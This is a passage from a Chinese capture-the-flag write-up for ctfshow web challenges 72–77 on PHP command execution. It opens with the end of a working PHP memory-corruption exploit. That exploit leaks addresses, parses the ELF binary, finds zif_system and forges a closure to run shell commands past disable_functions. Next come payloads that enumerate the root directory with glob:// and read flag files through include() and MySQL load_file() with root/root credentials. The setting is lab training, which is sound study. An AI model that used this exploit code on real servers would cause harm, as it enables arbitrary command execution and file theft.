write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

把这个脚本 URL 编码:

web73——命令执行

与上一题类似: 利用 glob:///* 扫描根目录下文件 : flagc.txt

1
2
3
4
5
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." ";
}
exit();

然后:

1
c=include('/flagc.txt');exit();

即可得到 flag

web74——命令执行

同上

web75——命令执行

首先扫根目录: 得到 flag36.txt

1
2
3
4
5
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." ";
}
exit();

骚姿势利用 MySQL load_file() 来读取文件; 🐂🍺

1
2
3
4
5
6
7
8
9
10
11
12
13
c=
try{
$conn = new PDO('mysql:host=localhost;dbname=ctftraining','root','root');
foreach($conn->query('select load_file("/flag36.txt")') as $row)
{
echo($row[0]);
}
$conn = null;
}catch (PDOException $e){
echo $e->getMessage();
exit();
}
exit();

web76——命令执行

同上

web77——命令执行—— FFI

不会